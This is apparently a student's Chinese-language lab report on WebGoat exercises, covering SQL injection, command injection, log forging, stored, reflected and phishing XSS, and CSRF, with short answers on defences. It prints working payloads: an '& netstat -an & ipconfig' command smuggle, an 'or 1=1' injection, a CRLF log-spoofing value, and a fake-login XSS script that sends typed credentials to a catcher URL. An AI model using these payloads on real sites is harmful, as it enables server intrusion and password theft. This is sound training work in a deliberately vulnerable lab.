2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础

1.1.实验内容概述

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

1.2.实验环境

  • Kali Linux - 64bit(IP为192.168.43.145)
  • Win10-64bits
  • 360浏览器

1.3.基础问题回答

(1)SQL注入攻击原理,如何防御?

原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
防御:
  • 对输入的字符串进行判断,筛除含有特殊字符的字符串
  • 避免出现一些详细的错误消息被攻击者利用
  • 将数据库里的内容进行加密处理使其不具有特殊的意义

(2)XSS攻击的原理,如何防御?

原理:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行
  • 表单提交的时候进行特殊字符的检测
  • 消除网站的XSS漏洞,网站开发者运用转义安全字符手段

(3)CSRF攻击原理,如何防御?

原理:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
防御:
  • 对于每一个重要的post提交页面,都使用一个验证码
  • 每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击
  • 定期清理cookie,甚至不使用cookie

实践过程

2.1Webgoat安装

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 下载webgoat-container-7.0.1-war-exec.jar文件
  • 确定JDK版本 使用 java -version命令
  • 下载完成后进入相应目录执行命令java -jar webgoat-container-7.0.1-war-exec.jar
  • 看到如下图所示信息表示开启成功
  • 根据kali IP在Win10系统中输入http://localhost:8080/WebGoat

如KALI IP为192.168.43.145,则地址为http://192.168.43.145:8080/WebGoat

  • 进入后下列有2个默认用户,我们随便选择一个登入
  • 在右上角管理拓展中选中翻译
  • 翻译结果如下

2.2SQL注入

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。如通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。

2.2.1SQL命令注入

  • 我们进入 注射缺陷-命令注入,正常视图为这个
  • 我们对课程计划进行审查元素并插入 "& netstat -an & ipconfig" 试图进行 netstat -an 以及 ipconfig命令的注入
  • 结果显示确实执行了这2个命令

2.2.2数字SQL注入

  • 我们对正常的气象数据走一遍,如下:
  • 正常图中我们可以看到哥伦比亚的气象情况,我们可以看到它对应的站位为101
  • 同样对气象站进行审查元素操作
  • 对value=101的条件中添加or 1=1
  • 攻击就成功了,如图

2.2.3记录欺骗

  • 您的目标是使其成为用户名“admin”成功登录。
  • 通过向日志文件添加脚本来提升攻击。
  • 对于账号我们输入:webgoat%0d%0aLogin Succeeded for username: admin,密码随意,攻击就成功了
    • webgoat是随意的,是结果第一行正常日志的登入失败账户,如果我们把webgoat改为20165216,则第一行的日志信息就为:Login failed for username:20165216
    • %0d为回车,要不然两条日志就在同一行了,不好骗

2.3XSS攻击

全称为跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

2.31使用XSS进行网络钓鱼

完成本次实验需要搜索框能够支持插入html,并能执行javascript的脚本,大概流程如下:

  • 插入账号密码输入框的html
  • 将用户点击提交submit执行脚本语言,将内容提交给http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...
  • 代码如下:
<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://192.168.43.145:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

注意:需要修改相应的IP地址

  • 成功后的截图如下:

2.32存储的XSS攻击

将脚本代码等当做普通文本存储,用户读取时执行

  • 比如我们在一个贴吧发布一个freeQB,弹出时是一个登陆信息的
<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://192.168.43.145:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

emmm,其实就是上个代码,没想到吧

  • 我们点击免费QB!,进去输入账户密码就完蛋了

2.3.3反映的XSS攻击

验证服务器端的所有输入始终是一个好习惯。在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。在反映的XSS攻击中,攻击者可以使用攻击脚本制作URL并将其发布到其他网站,通过电子邮件发送或以其他方式让受害者点击它。

  • 在三位数访问码中输入即可成功.

2.4Cross Site Request Forgery (CSRF):跨站请求伪造攻击实践

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。

  • 在信息框中输入

实验总结与体会

实验更好的认识到了XSS攻击、SQL注入以及CSRF,如果只是跟着走的话是比较枯燥的,重要的在于理解,比如插入命令只能插 &netstat -an & ipconfig吗,记录欺骗webgoat%0d%0aLogin Succeeded for username: admin,webgoat,以及后面的字可以改吗,这都是非常显而易见的问题。更多的思考,才能够加深理解,这非常重要(首先你不理解你就验收不了,嘿嘿)。

posted @ 2019-05-26 16:39  许愿神王  阅读(149)  评论(0编辑  收藏  举报